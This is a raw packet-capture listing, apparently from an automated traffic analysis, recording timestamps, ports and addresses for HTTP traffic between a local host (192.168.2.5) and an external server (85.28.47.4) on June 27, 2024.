Jun 27, 2024 19:25:55.073908091 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.073918104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.073926926 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.073945045 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.073980093 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.073980093 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.074006081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.074017048 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.074054003 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.074054003 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.074116945 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.074126959 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.074136019 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.074146032 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.074155092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.074167013 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.074201107 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.074201107 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.140032053 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.140044928 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.140059948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.140100956 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.140120983 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.140130997 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.140132904 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.140141010 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.140150070 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.140158892 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.140160084 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.140187979 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.140187979 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.140212059 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.151707888 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.151720047 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.151737928 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.151747942 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.151757956 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.151767969 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.151770115 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.151814938 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.151858091 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.151895046 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.151927948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.151938915 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.151964903 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.151976109 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.152050972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.152061939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.152071953 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.152081966 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.152092934 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.152106047 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.152129889 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.152131081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.152169943 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.158248901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.158262014 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.158272982 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.158298016 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.158310890 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.158360004 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.158377886 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.158389091 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.158399105 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.158400059 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.158442974 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.158529997 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.158541918 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.158551931 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.158564091 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.158576012 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.158576012 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.158603907 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.158670902 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.158684969 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.158694029 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.158704996 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.158719063 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.158726931 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.158735991 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.158740044 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.158752918 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.158763885 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.158767939 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.158776999 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.158791065 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.158817053 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.158974886 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.159019947 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.159050941 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.159063101 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.159073114 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.159084082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.159092903 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.159096003 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.159111977 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.159120083 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.159131050 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.159156084 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.159610033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.159655094 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.159692049 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.159702063 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.159719944 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.159729958 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.159740925 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.159759998 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.159759998 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.159780979 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.160084963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.160096884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.160136938 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.160475016 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.160521030 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.160547018 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.160564899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.160574913 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.160584927 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.160587072 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.160604000 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.160631895 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.160631895 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.160640001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.160677910 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.160728931 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.160742044 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.160752058 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.160763025 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.160783052 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.160784006 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.160805941 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.160856962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.160868883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.160877943 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.160888910 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.160892963 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.160901070 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.160919905 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.160945892 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.161178112 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.161223888 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.161236048 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.161247015 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.161271095 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.161283016 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.161318064 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.161329031 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.161339045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.161350965 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.161359072 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.161366940 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.161396027 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.161537886 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.161554098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.161564112 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.161572933 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.161583900 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.161590099 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.161596060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.161607981 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.161607981 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.161627054 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.161648035 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.161765099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.161777020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.161787033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.161799908 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.161802053 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.161824942 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.161839962 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.161957979 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.161973953 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.161984921 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.161995888 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.162005901 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.162008047 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.162024021 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.162044048 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.162091970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.162103891 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.162113905 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.162123919 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.162127972 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.162136078 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.162154913 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.162173986 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.162256002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.162307024 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.162322998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.162334919 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.162363052 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.162435055 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.162451029 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.162461996 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.162472963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.162483931 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.162497044 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.162497044 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.162519932 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.162590027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.162601948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.162612915 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.162622929 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.162631989 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.162636042 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.162648916 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.162656069 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.162674904 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.162693977 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.228734970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.228760958 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.228775024 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.228809118 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.228831053 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.228863001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.228874922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.228885889 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.228899956 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.228913069 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.228954077 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.229119062 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.243843079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.243855000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.243865013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.243896008 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.243913889 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.243997097 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.244009018 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.244019985 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.244030952 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.244045973 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.244062901 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.244154930 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.244167089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.244177103 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.244187117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.244198084 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.244199991 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.244206905 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.244232893 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.244296074 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.244307995 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.244343042 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.246968031 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.247011900 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.247016907 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.247024059 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.247045994 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.247061014 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.247065067 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.247104883 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.247153997 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.247165918 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.247176886 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.247188091 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.247196913 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.247220993 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.247298002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.247309923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.247319937 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.247340918 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.247348070 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.247354031 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.247354984 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.247365952 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.247378111 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.247385025 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.247406960 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.247406960 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.247417927 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.247565031 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.247575998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.247608900 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.247699976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.247711897 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.247723103 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.247735023 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.247745991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.247752905 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.247757912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.247765064 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.247770071 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.247783899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.247793913 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.247797966 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.247807026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.247811079 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.247833967 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.247843981 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.247967958 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.248013020 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.248135090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.248158932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.248168945 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.248183966 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.248195887 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.248207092 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.248234034 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.248245955 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.248260975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.248271942 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.248277903 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.248300076 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.248313904 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.248337984 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.248379946 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.249105930 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.249155998 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.249160051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.249171972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.249202967 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.249211073 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.249233961 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.249245882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.249255896 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.249267101 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.249279022 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.249283075 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.249303102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.249304056 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.249313116 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.249336958 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.249370098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.249382019 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.249392986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.249413013 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.249430895 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.249481916 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.249494076 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.249504089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:55.249526024 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.249540091 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:55.249587059 CEST	80	49705	85.28.47.4	192.168.2.5
